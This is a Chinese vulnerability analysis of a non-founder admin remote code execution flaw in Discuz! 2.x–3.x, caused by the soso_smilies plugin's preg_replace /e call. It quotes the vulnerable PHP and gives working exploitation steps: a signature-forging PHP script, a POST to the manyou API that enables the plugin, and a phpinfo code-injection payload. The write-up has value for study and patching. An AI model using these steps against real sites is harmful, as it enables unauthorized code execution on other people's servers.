discuz!2.x-3.x后台非创始人远程代码执行漏洞分析

discuz1111



0x00 前言

discuz!2.x-3.x存在一个默认系统插件,存在代码注入。既然是插件,那么不开启情况下需要创始人开启吧?怎么不需要创始人权限了?下面我们来看看,这是一个比较有意思的漏洞。

0x01 漏洞分析

soso_smilies插件从dz2.0到最新版本一直存在。我们来直接看看漏洞代码:
source/plugin/soso_smilies/soso.class.php
 
function discuzcode($param) {
global $_G;
if($param[‘caller’] == ‘discuzcode’) {
$smileyoff = $param[‘param’][1];
$allowsmilies = $param[‘param’][4];
$pid = $param[‘param’][12];
if(!$smileyoff && $allowsmilies && strpos($_G[‘discuzcodemessage’], ‘{:soso_’) !== false) {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].'”, “‘.$pid.'”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);
}
} else {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/”, ”, $_G[‘discuzcodemessage’]);
}
}
注意到:

$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].'”, “‘.$pid.'”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);
preg_replace 的 /e 参数,\\1中的双引号,当然问题不是出现在这里,因为前面正则只能是数字,而数字是不能组成代码注入。但注意到后面参数$_G[‘setting’][‘maxsmilies’],这个是配置,后台是否可以通过更改配置来造成命令执行呢?答案是可行的。  

0x02 漏洞利用

后台有较多的配置,使普通管理员就能更改$_G[‘setting’][‘maxsmilies’]值,从而实现命令执行,可如果这个插件不开启呢?(默认不开启),管理插件需要创始人权限呀!非也,我们来看看开启插件的方法。发现除了后台创始人外,还有manyou的地方。
 
\source\plugin\manyou\Service\App.php

??? function setPluginAvailable($identifier, $available) {
$available = intval($available);
$plugin = C::t(‘common_plugin’)->fetch_by_identifier($identifier);
if(!$plugin || !$plugin[‘pluginid’]) {
throw new Cloud_Service_AppException(‘Cloud plugin: ‘ . $identifier . ‘ not exists!’, 51108);
}
C::t(‘common_plugin’)->update($plugin[‘pluginid’], array(‘available’ => $available));
return true;
}
而manyou插件有没有开启,取决于值$_G[‘setting’][‘siteuniqueid’] 下面我们来说说利用过程吧! 先激活soso_smilies插件,如已激活,可以略过前面几步,直接跳到最后拿shell 全局 ? 域名设置 通过修改表单更新配置(有权限有设置修改表单的地方也行)

 siteuniqueid
  my_sitekey
  my_siteid
image001
提交后,配置的值已被更改。
  image002
开启插件:
<?php
$my_sitekey=”123456″;
$my_siteid=”9999″;
$apps=array(‘smilies’=>’normal’);
$params[apps]=$apps;
echo serialize($params);
die(md5(‘Cloud|SetApps|’ . serialize($params) . ‘|’ . $my_sitekey));
?>
http://localhost/Discuz_X2_SC_UTF8/upload/api/manyou/my.php
POST
module=Cloud&method=SetApps&params=a:1:{s:4:”apps”;a:1:{s:7:”smilies”;s:6:”normal”;}}&sign=3700828a41be69d741a53887cff552a6
image003new
发现插件已经可以用了

image004

更改变量值maxsmilies

image005  
这时,在发贴处加入表情,就能执行(注:代码中1{${phpinfo()}}前面 1 是必须的)

image006  
0x03 后话

这个漏洞比较有意思的是接口方面的问题,其实那个问题可以更严重些,有面有机会再说说。